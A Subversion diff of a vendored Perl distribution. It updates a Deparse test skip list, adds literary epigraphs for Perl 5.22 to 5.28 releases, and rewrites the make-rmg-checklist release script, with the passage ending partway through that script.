-../dist/Locale-Maketext/t/01_about_verbose.t
-../dist/Locale-Maketext/t/10_make.t
-../dist/Locale-Maketext/t/20_get.t
-../dist/Locale-Maketext/t/40_super.t
-../dist/Locale-Maketext/t/50_super.t
-../dist/Locale-Maketext/t/60_super.t
-../dist/Locale-Maketext/t/70_fail_auto.t
-../dist/Locale-Maketext/t/91_backslash.t
-../dist/Math-BigInt/t/const_mbf.t
-../dist/Math-BigInt/t/constant.t
-../dist/PathTools/t/cwd.t
-../dist/Storable/t/blessed.t
 ../dist/Storable/t/croak.t
-../dist/Thread-Queue/t/08_nothreads.t
-../dist/bignum/t/big_e_pi.t
-../dist/bignum/t/bigexp.t
-../dist/bignum/t/bigint.t
-../dist/bignum/t/bignum.t
-../dist/bignum/t/bigrat.t
-../dist/bignum/t/bii_e_pi.t
-../dist/bignum/t/bir_e_pi.t
-../dist/bignum/t/in_effect.t
-../dist/bignum/t/option_a.t
-../dist/bignum/t/option_l.t
-../dist/bignum/t/option_p.t
-../dist/bignum/t/overrides.t
-../dist/bignum/t/ratopt_a.t
-../dist/bignum/t/scope_f.t
-../dist/bignum/t/scope_i.t
-../dist/bignum/t/scope_r.t
-../dist/constant/t/constant.t
-../dist/threads/t/err.t
-../dist/threads/t/exit.t
-../dist/threads/t/kill2.t
-../dist/threads/t/libc.t
-../dist/threads/t/thread.t
+../dist/threads/t/blocks.t
 ../ext/B/t/b.t
 ../ext/B/t/optree_constants.t
 ../ext/B/t/optree_samples.t
-../ext/B/t/xref.t
 ../ext/Devel-Peek/t/Peek.t
-../ext/File-Glob/t/taint.t
-../ext/Hash-Util/t/Util.t
 ../ext/IPC-Open3/t/IPC-Open2.t
 ../ext/IPC-Open3/t/IPC-Open3.t
 ../ext/XS-APItest/t/autoload.t
@@ -145,71 +195,14 @@
 ../ext/XS-APItest/t/cleanup.t
 ../ext/XS-APItest/t/fetch_pad_names.t
 ../ext/XS-APItest/t/svpeek.t
-../lib/DB.t
+../ext/XS-APItest/t/synthetic_scope.t
+../lib/Config.t                         # Config_heavy.pl fns getting output
+../lib/charnames.t
+../lib/dumpvar.t
 ../lib/English.t
-../lib/File/Basename.t
-../lib/charnames.t
 ../lib/overload.t
-base/lex.t                # checks regexp stringification
-comp/final_line_num.t     # tests syntax error after BEGIN block
-comp/fold.t               # mutability of folded constants
-comp/parser.t             # crazy #line directives ==> shell syntax errors
-mro/isarev.t
-mro/isarev_utf8.t
-op/attrhand.t             # Custom attrs ignored; also AH provides none
-op/attrs.t                # [perl #70205] my attrs
-op/caller.t
-op/each.t                 # utf8ness of deparsed strings
-op/getpid.t               # [perl #70205] my attrs
-op/goto.t
-op/gv.t                   # glob copy constants
-op/index.t
-op/join.t                 # mutability of folded constants
-op/length.t               # utf8ness of deparsed strings
-op/lexsub.t
-op/local.t
-op/not.t
-op/overload_integer.t
-op/override.t
-op/pack.t
-op/postfixderef.t
-op/range.t
-op/readline.t
-op/srand.t
-op/sub.t
-op/sub_lval.t
-op/switch.t
-op/symbolcache.t
-op/taint.t
-op/vec.t
-op/warn.t
-op/write.t
-porting/globvar.t
-re/overload.t             # [perl #123385] %^H output
-re/pat.t                  # [perl #90590]
-re/pat_advanced.t         # [perl #123417]
-re/pat_rt_report.t        # malformed utf8 constant; also /\c@/ -> /\c\@/
-re/reg_fold.t             # [perl #123385] %^H output
-re/regex_sets.t
-re/regexp_unicode_prop.t
-re/rxcode.t               # checks regexp stringification
-re/subst.t
-run/switchI.t             # -I on #! line is not deparsed
-run/switchd-78586.t       # -I on #! line is not deparsed
-uni/attrs.t
-uni/bless.t
-uni/gv.t
-uni/labels.t
-uni/lex_utf8.t
-uni/method.t
-uni/package.t
-uni/parser.t
-uni/readline.t
-uni/select.t
-uni/stash.t
-uni/tie.t
-uni/universal.t
 
+
 __DEPARSE_SKIPS__
 
 op/smartkve.t                        # Gobbles up all memory...

Modified: vendor/perl/dist/Porting/epigraphs.pod
===================================================================
--- vendor/perl/dist/Porting/epigraphs.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/epigraphs.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,6 +17,372 @@
 
 =head1 EPIGRAPHS
 
+=head2 v5.28.0-RC4 - Neil Gaiman, The Graveyard Book
+
+Announced on 2018-06-19 by Sawyer X
+
+  You're alive, Bod. That means you have infinite potential. You can do
+  anything, make anything, dream anything. If you can change the world,
+  the world will change. Potential. Once you're dead, it's gone. Over.
+  You've made what you've made, dreamed your dream, written your name.
+  You may be buried here, you may even walk. But that potential is
+  finished.”
+
+=head2 v5.28.0-RC3 - Anthony Horowitz, Magpie Murders
+
+L<Announced on 2018-06-18 by Sawyer X|http://nntp.perl.org/group/perl.perl5.porters/251204>
+
+  These had been his plans. But if there was one thing that life had
+  taught him, it was the futility of making plans. Life had its own
+  agenda.
+
+=head2 v5.28.0-RC2 - Oliver Sacks, The Man Who Mistook His Wife For A Hat: And Other Clinical Tales
+
+L<Announced on 2018-06-06 by Sawyer X|http://nntp.perl.org/group/perl.perl5.porters/251122>
+
+  Had she not been of exceptional intelligence and literacy, with an
+  imagination filled and sustained, so to speak, by the images of
+  others, images conveyed by language, by the word, she might have
+  remained almost as helpless as a baby.
+
+=head2 v5.28.0-RC1 - Anu Garg, A Word A Day
+
+L<Announced on 2018-05-21 by Sawyer X|https://www.nntp.perl.org/group/perl.perl5.porters/2018/05/msg250999.html>
+
+  One doesn't have to know the unit of pain (dol) to realize that the
+  unit of joy is not the dollar, or any other currency for that matter.
+
+=head2 v5.27.11 - Tana French, In the Woods
+
+L<Announced on 2018-04-20 by Sawyer X|https://www.nntp.perl.org/group/perl.perl5.porters/2018/04/msg250571.html>
+
+  And then, too, I had learned early to assume something dark and
+  lethal hidden at the heart of anything I loved. When I couldn't find
+  it, I responded, bewildered and wary, in the only way I knew how: by
+  planting it there myself.
+
+=head2 v5.27.10 - Robert A. Heinlein, Time Enough for Love, p. 248
+
+L<Announced on 2018-03-20 by Todd Rinaldo|https://www.nntp.perl.org/group/perl.perl5.porters/2018/03/msg250042.html>
+
+  A human being should be able to change a diaper, plan an invasion, butcher
+  a hog, conn a ship, design a building, write a sonnet, balance accounts,
+  build a wall, set a bone, comfort the dying, take orders, give orders,
+  cooperate, act alone, solve equations, analyze a new problem, pitch manure,
+  program a computer, cook a tasty meal, fight efficiently, die gallantly.
+  Specialization is for insects.
+
+=head2 v5.27.9 - Agatha Christie, "The Mysterious Affair at Styles"
+
+L<Announced on 2018-02-20 by Renee Bäcker|https://www.nntp.perl.org/group/perl.perl5.porters/2018/02/msg249549.html>
+
+  Poirot was an extraordinary looking little man. He was hardly more
+  than five feet, four inches, but carried himself with great dignity.
+  His head was exactly the shape of an egg, and he always perched it
+  a little on one side. His moustache was very stiff and military.
+  The neatness of his attire was almost incredible. I believe a
+  speck of dust would have caused him more pain than a bullet wound.
+  Yet this quaint dandified little man who, I was sorry to see, now
+  limped badly, had been in his time one of the most celebrated members
+  of the Belgian police. As a detective, his flair had been extraordinary,
+  and he had achieved triumphs by unravelling some of the most baffling
+  cases of the day.
+    He pointed out to me the little house inhabited by him and his fellow
+  Belgians, and I promised to go and see him at an early date. Then he
+  raised his hat with a flourish to Cynthia, and we drove away.
+    "He's a dear little man," said Cynthia. "I'd no idea you knew him."
+    "You've been entertaining a celebrity unawares," I replied.
+    And, for the rest of the way home, I recited to them the various
+  exploits and triumphs of Hercule Poirot.
+
+=head2 v5.27.8 - Jasper Fforde, "Shades of Grey"
+
+L<Announced on 2018-01-20 by Abigail|http://nntp.perl.org/group/perl.perl5.porters/248914>
+
+2.4.16.55.021: Males are to wear dresscode #6 during inter-Collective
+travel. Hats are encouraged, but not required.
+
+9.3.88.32.025: The cucumber and tomato are both fruit; the avocado
+is a nut. To assist with the dietary requirements of vegetarians,
+on the first Tuesday of the month a chicken is officially a vegetable.
+
+5.3.21.01.002: Once allocated, postcodes are permanent, and for life.
+
+6.1.02.11.235: Artifacture from before the Something That Happened
+may be collected, so long it does not appear on the Leapback list
+or possess color above 23 percent saturation.
+
+2.3.06.02.087: Unnecessary sharpening of pencils constitutes a waste
+of public resources, and will be punished as appropriate.
+
+2.1.01.05.002: All children are to attent school until the age of
+sixteen or until they have learned everything, whichever be the sooner.
+
+1.3.02.06.023: There shall be no staring at the sun, however good
+the reason.
+
+1.1.19.02.006: Team sports are mandatory in order to build character.
+Character is there to give purpose to team sports.
+
+2.3.03.01.006: Juggling shall not be practiced after 4:00 pm.
+
+
+=head2 v5.27.7 - Terry Pratchett, "Hogfather"
+
+L<Announced on 2017-12-20 by Chris 'BinGOs' Williams|https://www.nntp.perl.org/group/perl.perl5.porters/2017/12/msg248274.html>
+
+  Death looked at the sacks.
+
+  It was a strange but demonstrable fact that the sacks of
+  toys carried by the Hogfather, no matter what they
+  really contained, always appeared to have sticking out
+  of the top a teddy bear, a toy soldier in the kind of
+  colorful uniform that would stand out in a disco, a
+  drum and a red-and-white candy cane. The actual
+  contents always turned out to be something a bit
+  garish and costing $5.99.
+
+  Death had investigated one or two. There had been a
+  Real Agatean Ninja, for example, with Fearsome
+  Death Grip, and a Captain Carrot One-Man Night
+  Watch with a complete wardrobe of toy weapons, each
+  of which cost as much as the original wooden doll in
+  the first place.
+
+  Mind you, the stuff for the girls was just as
+  depressing. It seemed to be nearly all horses. Most of
+  them were grinning. Horses, Death felt, shouldn't grin.
+
+  Any horse that was grinning was planning something.
+
+=head2 v5.27.6 - Ogden Nash, "Behold the Duck"
+
+L<Announced on 2017-11-20 by Karen Etheridge|https://www.nntp.perl.org/group/perl.perl5.porters/2017/11/msg247489.html>
+
+  Behold the duck,
+  it does not cluck;
+  a cluck it lacks,
+  it quacks!
+
+  It is 'specially fond
+  of puddles or ponds;
+  when it dines or sups
+  it bottoms ups.
+
+
+=head2 v5.27.5 - Frank Birch, Dilly Knox & G. P. Mackeson, "Alice in I.D.25"
+
+L<Announced on 2017-10-20 by Steve Hay|https://www.nntp.perl.org/group/perl.perl5.porters/2017/10/msg246785.html>
+
+    'Can I do anything?' Alice suggested timidly, thinking that something
+  dreadful must have happened.
+    The Waterflap jumped as if it had been shot. 'What are you doing
+  here?' it snapped. 'Take this at once into the Directional room,' and it
+  thrust the paper which had caused all the fuss into her hands.
+    'But where is the Directional room?' she inquired, bewildered.
+    'Why, there of course,' howled the Waterflap, pointing to a door.
+    'How could I possibly know that!' Alice exclaimed, angered by his
+  rudeness.
+    'Silly girl,' it hissed. 'Why, it's called the Directional room
+  because it's in that direction,' and it pushed her roughly through the
+  doorway.
+
+=head2 v5.27.4 - Richard Brautigan, "All Watched Over By Machines Of Loving Grace"
+
+L<Announced on 2017-09-20 by John SJ Anderson|https://www.nntp.perl.org/group/perl.perl5.porters/2017/09/msg246371.html>
+
+  I like to think (and
+  the sooner the better!)
+  of a cybernetic meadow
+  where mammals and computers
+  live together in mutually
+  programming harmony
+  like pure water
+  touching clear sky.
+
+  I like to think
+  (right now, please!)
+  of a cybernetic forest
+  filled with pines and electronics
+  where deer stroll peacefully
+  past computers
+  as if they were flowers
+  with spinning blossoms.
+
+  I like to think
+  (it has to be!)
+  of a cybernetic ecology
+  where we are free of our labors
+  and joined back to nature,
+  returned to our mammal
+  brothers and sisters,
+  and all watched over
+  by machines of loving grace.
+
+=head2 v5.27.3 - Rodgers and Hammerstein, "You'll Never Walk Alone"
+
+L<Announced on 2017-08-21 by Matthew Horsfall|http://www.nntp.perl.org/group/perl.perl5.porters/2017/08/msg245988.html>
+
+  When you walk through a storm
+  Hold your head up high
+  And don't be afraid of the dark
+
+  At the end of a storm
+  There's a golden sky
+  And the sweet silver song of a lark
+
+  Walk on through the wind
+  Walk on through the rain
+  Though your dreams be tossed and blown
+
+  Walk on, walk on
+  With hope in your heart
+  And you'll never walk alone
+
+  You'll never walk alone
+
+  Walk on, walk on
+  With hope in your heart
+  And you'll never walk alone
+
+  You'll never walk alone
+
+=head2 v5.27.2 - Lev Grossman, Codex
+
+L<Announced on 2017-07-20 by Aaron Crane|http://www.nntp.perl.org/group/perl.perl5.porters/2017/07/msg245585.html>
+
+  He went back for another stack of books: a three-volume English legal
+  treatise; a travel guide to Tuscany from the '20s crammed with faded
+  Italian wildflowers that fluttered out from between the pages like
+  moths; a French edition of Turgeniev so decayed that it came apart in
+  his hands; a register of London society from 1863. In a way it was
+  idiotic. He was treating these books like they were holy relics. It
+  wasn't like he would ever actually read them. But there was something
+  magnetic about them, something that compelled respect, even the silly
+  ones, like the Enlightenment treatise about how lightning was caused
+  by bees. They were information, data, but not in the form he was used
+  to dealing with it. They were non-digital, nonelectrical chunks of
+  memory, not stamped out of silicon but laboriously crafted out of wood
+  pulp and ink, leather and glue. Somebody had cared enough to write
+  these things; somebody else had cared enough to buy them, possibly
+  even read them, at the very least keep them safe for 150 years,
+  sometimes longer, when they could have vanished at the touch of a
+  spark. That made them worth something, didn't it, just by itself?
+  Though most of them would have bored him rigid the second he cracked
+  them open, which there wasn't much chance of. Maybe that was what he
+  found so appealing: the sight of so many books that he'd never have to
+  read, so much work he'd never have to do.
+
+=head2 v5.27.1 - Rona Munro, Doctor Who: Survival
+
+L<Announced on 2017-06-20 by Eric Herman|http://www.nntp.perl.org/group/perl.perl5.porters/2017/06/msg245055.html>
+
+  There are worlds out there where the sky is burning,
+  where the sea's asleep and the rivers dream,
+  people made of smoke and cities made of song.
+  Somewhere there's danger,
+  somewhere there's injustice
+  and somewhere else the tea is getting cold.
+  Come on, Ace, we've got work to do.
+
+=head2 v5.27.0 - Bertrand Russell, The Road to Happiness
+
+L<Announced on 2017-05-31 by Sawyer X|http://www.nntp.perl.org/group/perl.perl5.porters/2017/05/msg244580.html>
+
+  People who have theories as to how one should live tend to forget the
+  limitations of nature. If your way of life involves constant
+  restraint of impulse for the sake of some one supreme aim that you
+  have set yourself, it is likely that the aim will become increasingly
+  distasteful because of the efforts that it demands; impulse, denied
+  its normal outlets, will find others, probably in spite; pleasure, if
+  you allow yourself any at all, will be dissociated from the main
+  current of your life, and will become Bacchic and frivolous. Such
+  pleasure brings no happiness, but only a deeper despair.
+
+    -- Bertrand Russell, The Road to Happiness
+
+=head2 v5.26.2 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour"
+
+L<Announced on 2018-04-14 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2018/04/msg250440.html>
+
+How does a cat use its whiskers?  The usual answer is that the whiskers
+are feelers that enable a cat to tell whether a gap is wide enough for
+it to squeeze through, but the truth is more complicated and more
+remarkable.  In addition to their obvious role as feelers sensitive to
+touch, the whiskers also operate as air-current detectors.  As the cat
+moves along in the dark it needs to manoeuvre past solid objects without
+touching them.  Each solid object it approaches causes slight eddies in
+the air, minute disturbances in the currents of air movements, and the
+cat's whiskers are so amazingly sensitive that they can read these air
+changes and respond to the presence of solid obstacles even without
+touching them.
+
+=head2 v5.26.2-RC1 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour"
+
+L<Announced on 2018-03-24 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2018/03/msg250103.html>
+
+Cats have a way of endearing themselves to their owners, not just by
+their 'kittenoid' behaviour, which stimulates strong parental feelings,
+but also by their sheer gracefulness. There is an elegance and a
+composure about them that captivates the human eye. To the sensitive
+human being it becomes a privilege to share a room with a cat, exchange
+its glance, feel its greeting rub, or watch it gently luxuriate itself
+into a snoozing ball on a soft cushion.
+
+=head2 v5.26.1 - Samuel Taylor Coleridge, "The Rime of the Ancient Mariner"
+
+L<Announced on 2017-09-22 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/09/msg246408.html>
+
+  And soon I heard a roaring wind:
+  It did not come anear;
+  But with its sound it shook the sails,
+  That were so thin and sere.
+
+  The upper air burst into life!
+  And a hundred fire-flags sheen,
+  To and fro they were hurried about!
+  And to and fro, and in and out,
+  The wan stars danced between.
+
+=head2 v5.26.1-RC1 - Samuel Taylor Coleridge, "The Rime of the Ancient Mariner"
+
+L<Announced on 2017-09-10 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/09/msg246202.html>
+
+  At length did cross an Albatross,
+  Thorough the fog it came;
+  As if it had been a Christian soul,
+  We hailed it in God's name.
+
+  It ate the food it ne'er had eat,
+  And round and round it flew.
+  The ice did split with a thunder-fit;
+  The helmsman steered us through!
+
+  And a good south wind sprung up behind;
+  The Albatross did follow,
+  And every day, for food or play,
+  Came to the mariner's hollo!
+
+  In mist or cloud, on mast or shroud,
+  It perched for vespers nine;
+  Whiles all the night, through fog-smoke white,
+  Glimmered the white Moon-shine.'
+
+  'God save thee, ancient Mariner!
+  From the fiends, that plague thee thus!—
+  Why look'st thou so?'—With my cross-bow
+  I shot the ALBATROSS.
+
+=head2 v5.26.0 - Nine Simone, Ain't Got No / I Got Life
+
+L<Announced on 2017-05-30 by Sawyer X|http://www.nntp.perl.org/group/perl.perl5.porters/2017/05/msg244573.html>
+
+  I've got the life
+  And I'm gonna keep it
+  I've got the life
+  And nobody's gonna take it away
+  I've got the life
+
 =head2 v5.26.0-RC2 - Richard Condon, The Manchurian Candidate
 
 L<Announced on 2017-05-23 by Sawyer X|http://www.nntp.perl.org/group/perl.perl5.porters/2017/05/msg244511.html>
@@ -251,6 +617,119 @@
   To find that the utmost reward
     Of daring should be still to dare.
 
+=head2 v5.24.4 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour"
+
+L<Announced on 2018-04-14 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2018/04/msg250439.html>
+
+Cats hate doors.  Doors simply do not register in the evolutionary story
+of the cat family.  They constantly block patrolling activities and
+prevent cats from exploring their home range and then returning to their
+central, secure base at will.  Humans often do not understand that a cat
+needs to make only a brief survey of its territory before returning with
+all the necessary information about the activities of other cats in the
+vicinity.  It likes to make these tours of inspection at frequent
+intervals, but does not want to stay outside for very long, unless there
+has been some special and unexpected change in the condition of the
+local feline population.
+
+=head2 v5.24.4-RC1 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour"
+
+L<Announced on 2018-03-24 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2018/03/msg250102.html>
+
+The domestic cat is a contradiction. No animal has developed such an
+intimate relationship with mankind, while at the same time demanding and
+getting such independence of movement and action. The dog may be man's
+best friend, but it is rarely allowed out on its own to wander from
+garden to garden or street to street. The obedient dog has to be taken
+for a walk. The headstrong cat walks alone.
+
+=head2 v5.24.3 - Samuel Taylor Coleridge, "The Rime of the Ancient Mariner"
+
+L<Announced on 2017-09-22 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/09/msg246407.html>
+
+  Oh sleep! it is a gentle thing,
+  Beloved from pole to pole!
+  To Mary Queen the praise be given!
+  She sent the gentle sleep from Heaven,
+  That slid into my soul.
+
+  The silly buckets on the deck,
+  That had so long remained,
+  I dreamt that they were filled with dew;
+  And when I awoke, it rained.
+
+=head2 v5.24.3-RC1 - Samuel Taylor Coleridge, "The Rime of the Ancient Mariner"
+
+L<Announced on 2017-09-10 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/09/msg246201.html>
+
+  'And now the STORM-BLAST came, and he
+  Was tyrannous and strong:
+  He struck with his o'ertaking wings,
+  And chased us south along.
+
+  With sloping masts and dipping prow,
+  As who pursued with yell and blow
+  Still treads the shadow of his foe,
+  And forward bends his head,
+  The ship drove fast, loud roared the blast,
+  And southward aye we fled.
+
+  And now there came both mist and snow,
+  And it grew wondrous cold:
+  And ice, mast-high, came floating by,
+  As green as emerald.
+
+  And through the drifts the snowy clifts
+  Did send a dismal sheen:
+  Nor shapes of men nor beasts we ken—
+  The ice was all between.
+
+  The ice was here, the ice was there,
+  The ice was all around:
+  It cracked and growled, and roared and howled,
+  Like noises in a swound!
+
+=head2 v5.24.2 - Roald Dahl, "The Three Little Pigs"
+
+L<Announced on 2017-07-15 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/07/msg245527.html>
+
+  A short while later, through the wood,
+  Came striding brave Miss Riding Hood.
+  The Wolf stood there, his eyes ablaze
+  And yellowish, like mayonnaise.
+  His teeth were sharp, his gums were raw,
+  And spit was dripping from his jaw.
+  Once more the maiden's eyelid flickers.
+  She draws the pistol from her knickers.
+  Once more, she hits the vital spot,
+  And kills him with a single shot.
+  Pig, peeping through the window, stood
+  And yelled, 'Well done, Miss Riding Hood!'
+
+  Ah, Piglet, you must never trust
+  Young ladies from the upper crust.
+  For now, Miss Riding Hood, one notes,
+  Not only has two wolfskin coats,
+  But when she goes from place to place,
+  She has a PIGSKIN TRAVELLING CASE.
+
+=head2 v5.24.2-RC1 - Roald Dahl, "The Three Little Pigs"
+
+L<Announced on 2017-07-01 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/07/msg245292.html>
+
+  The animal I really dig
+  Above all others is the pig.
+  Pigs are noble. Pigs are clever,
+  Pig are courteous. However,
+  Now and then, to break this rule,
+  One meets a pig who is a fool.
+  What, for example, would you say
+  If strolling through the woods one day,
+  Right there in front of you you saw
+  A pig who'd built his house of STRAW?
+  The Wolf who saw it licked his lips,
+  And said, 'That pig has had his chips.'
+
 =head2 v5.24.1 - Charles Dodgson [as "Lewis Carroll"], "The Hunting of the Snark", Fit 4: The Hunting
 
 L<Announced on 2017-01-14 by Steve Hay|https://www.nntp.perl.org/group/perl.perl5.porters/2017/01/msg242259.html>
@@ -778,6 +1257,43 @@
   They sing while you slave and I just get bored
   I ain't gonna work on Maggie's farm no more
 
+=head2 v5.22.4 - Roald Dahl, "Little Red Riding Hood and the Wolf"
+
+L<Announced on 2017-07-15 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/07/msg245526.html>
+
+  Then Little Red Riding Hood said, 'But Grandma,
+  what a lovely great big furry coat you have on.'
+  'That's wrong!' cried Wolf. 'Have you forgot
+  'To tell me what BIG TEETH I've got?
+  'Ah well, no matter what you say,
+  'I'm going to eat you anyway.'
+  The small girl smiles. One eyelid flickers.
+  She whips a pistol from her knickers.
+  She aims it at the creature's head
+  And bang bang bang, she shoots him dead.
+
+  A few weeks later, in the wood,
+  I came across Miss Riding Hood.
+  But what a change! No cloak of red,
+  No silly hood upon her head.
+  She said, 'Hello, and do please note
+  'My lovely furry WOLFSKIN COAT.'
+
+=head2 v5.22.4-RC1 - Roald Dahl, "Little Red Riding Hood and the Wolf"
+
+L<Announced on 2017-07-01 by Steve Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2017/07/msg245293.html>
+
+  As soon as Wolf began to feel
+  That he would like a decent meal,
+  He went and knocked on Grandma's door.
+  When Grandma opened it, she saw
+  The sharp white teeth, the horrid grin,
+  And Wolfie said, 'May I come in?'
+  Poor Grandmamma was terrified,
+  'He's going to eat me up!' she cried.
+  And she was absolutely right.
+  He ate her up in one big bite.
+
 =head2 v5.22.3 - Charles Dodgson [as "Lewis Carroll"], "Phantasmagoria", Canto 6: Discomfyture
 
 L<Announced on 2017-01-14 by Steve Hay|https://www.nntp.perl.org/group/perl.perl5.porters/2017/01/msg242258.html>

Modified: vendor/perl/dist/Porting/exec-bit.txt
===================================================================
--- vendor/perl/dist/Porting/exec-bit.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/exec-bit.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -52,6 +52,7 @@
 Porting/makerel
 Porting/make_dot_patch.pl
 Porting/make_snapshot.pl
+Porting/mksample
 Porting/newtests-perldelta.pl
 Porting/perlhist_calculate.pl
 Porting/sort_perldiag.pl

Modified: vendor/perl/dist/Porting/how_to_write_a_perldelta.pod
===================================================================
--- vendor/perl/dist/Porting/how_to_write_a_perldelta.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/how_to_write_a_perldelta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -91,8 +91,8 @@
 
 For the start of a new stable branch, follows this formula:
 
-    This document describes differences between the 5.12.0 release
-    and the 5.10.0 release.
+    This document describes differences between the 5.10.0 release
+    and the 5.12.0 release.
 
 Clearly this sets the scope of which changes are to be summarised in the rest
 of the document.

Modified: vendor/perl/dist/Porting/make-rmg-checklist
===================================================================
--- vendor/perl/dist/Porting/make-rmg-checklist	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/make-rmg-checklist	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,145 +1,214 @@
-#!perl
+#!/usr/bin/perl
 use strict;
 use warnings;
-use autodie;
+use Getopt::Long qw< :config no_ignore_case >;
 
-use Getopt::Long;
-use Pod::Simple::HTML;
+sub pod {
+    my $filename = shift;
 
-sub main {
-    my ( $help, $type, $html );
-    GetOptions(
-        'type:s' => \$type,
-        'html'   => \$html,
-        'help'   => \$help,
-    );
+    open my $fh, '<', $filename
+        or die "Cannot open file ($filename): $!\n";
 
-    if ($help) {
-        print <<'EOF';
-make-rmg-checklist [--type TYPE]
+    my @lines = <$fh>;
 
+    close $fh
+        or die "Cannot close file ($filename): $!\n";
+
+    return \@lines;
+}
+
+sub _help {
+    my $msg = shift;
+    if ($msg) {
+        print "Error: $msg\n\n";
+    }
+
+    print << "_END_HELP";
+$0 --version VERSION
+
 This script creates a release checklist as a simple HTML document. It accepts
 the following arguments:
 
-  --type    The release type for the checklist. This can be BLEAD-FINAL,
-            BLEAD-POINT, MAINT, or RC. This defaults to BLEAD-POINT.
+  --version     The version you are working on. This will infer the type
+                of release you want to have
 
-  --html    Output HTML instead of POD
+  --html        Output HTML instead of POD
+_END_HELP
 
-EOF
+    exit;
+}
 
-        exit;
-    }
+sub _type_from_version {
+    my $version = shift;
 
-    $type = _validate_type($type);
+    # 5.26.0      = BLEAD-FINAL
+    # 5.26.0-RC1  = RC
+    # 5.26.1      = MAINT
+    # 5.27.0      = BLEAD-POINT
+    # 5.27.1      = BLEAD-POINT
+    $version =~ m{^ 5\. (\d{1,2}) \. (\d{1,2}) (?: -RC(\d) )? $}xms
+        or die "Version must be 5.x.y or 5.x.y-RC#\n";
 
-    open my $fh, '<', 'Porting/release_managers_guide.pod';
-    my $pod = do { local $/; <$fh> };
-    close $fh;
+    my ( $major, $minor, $rc ) = ( $1, $2, $3 );
 
-    my $heads = _parse_rmg( $pod, $type );
-    my $new_pod = _munge_pod( $pod, $heads );
+    # Dev release
+    if ( $major % 2 != 0 ) {
+        defined $rc
+            and die "Cannot have BLEAD-POINT RC release\n";
 
-    if ($html) {
-        my $simple = Pod::Simple::HTML->new();
-        $simple->output_fh(*STDOUT);
-        $simple->parse_string_document($new_pod);
+        return 'BLEAD-POINT';
     }
-    else {
-        print $new_pod;
-    }
+
+    defined $rc
+        and return 'RC';
+
+    return $minor == 0 ? 'BLEAD-FINAL' : 'MAINT';
 }
 
-sub _validate_type {
-    my $type = shift || 'BLEAD-POINT';
+sub iterate_items {
+    my ( $items, $type, $cb ) = @_;
 
-    my @valid = qw( BLEAD-FINAL BLEAD-POINT MAINT RC );
-    my %valid = map { $_ => 1 } @valid;
+    ITEM:
+    foreach my $item ( @{$items} ) {
+        foreach my $meta ( @{ $item->{'metadata'} || [] } ) {
+            if ( $meta =~ /skip .+ $type/xms ) {
+                next ITEM;
+            }
+            elsif ( $meta =~ /skip/xms ) {
+                $item->{content} =~
+                    s/^ [^\n]* \b MUST\ SKIP\ this\ step \b [^\n]* \n\n//xms;
+            }
+        }
 
-    unless ( $valid{ uc $type } ) {
-        my $err
-            = "The type you provided ($type) is not a valid release type. It must be one of ";
-        $err .= join ', ', @valid;
-        $err .= "\n";
-
-        die $err;
+        $cb->($item);
     }
-
-    return $type;
 }
 
-sub _parse_rmg {
-    my $pod  = shift;
-    my $type = shift;
+sub create_checklist {
+    my ( $type, $items ) = @_;
 
-    my @heads;
-    my $include = 0;
-    my %skip;
+    my $collect;
+    my $prev_head = 0;
+    my $over_level;
+    iterate_items( $items, $type, sub {
+        my $item = shift;
 
-    for ( split /\n/, $pod ) {
-        if (/^=for checklist begin/) {
-            $include = 1;
-            next;
+        foreach my $meta ( @{ $item->{'metadata'} || [] } ) {
+            $meta =~ /checklist \s+ begin/xmsi
+                and $collect = 1;
+
+            $meta =~ /checklist \s+ end/xmsi
+                and $collect = 0;
+
         }
 
-        next unless $include;
+        $collect
+            or return;
 
-        last if /^=for checklist end/;
+        $over_level = ( $item->{'head'} - 1 ) * 4;
 
-        if (/^=for checklist skip (.+)/) {
-            %skip = map { $_ => 1 } split / /, $1;
-            next;
-        }
+        print $prev_head < $item->{'head'} ? "=over $over_level\n\n"
+            : $prev_head > $item->{'head'} ? "=back\n\n"
+            :                                '';
 
-        if (/^=head(\d) (.+)/) {
-            unless ( keys %skip && $skip{$type} ) {
-                push @heads, [ $1, $2 ];
-            }
+        chomp( my $name = $item->{'name'} );
+        print "=item * L<< /$name >>\n\n";
 
-            %skip = ();
-        }
-    }
+        $prev_head = $item->{'head'};
+    });
 
-    return \@heads;
+    print "=back\n\n" x ( $over_level / 4 );
 }
 
-sub _munge_pod {
-    my $pod   = shift;
-    my $heads = shift;
+my ($version, $html);
+GetOptions(
+    'version|v=s' => \$version,
+    'html'        => \$html,
+    'help|h'      => sub { _help(); },
+);
 
-    $pod =~ s/=head1 NAME.+?(=head1 SYNOPSIS)/$1/s;
+defined $version
+    or _help('You must provide a version number');
 
-    my $new_pod = <<'EOF';
-=head1 NAME
+my $pod_output = '';
+if ($html) {
+    require Pod::Simple::HTML;
+    open my $fh, '>', \$pod_output
+        or die "Can't create fh to string: $!\n";
+    select $fh;
+}
 
-Release Manager's Guide with Checklist
+my $type = _type_from_version($version);
 
-=head2 Checklist
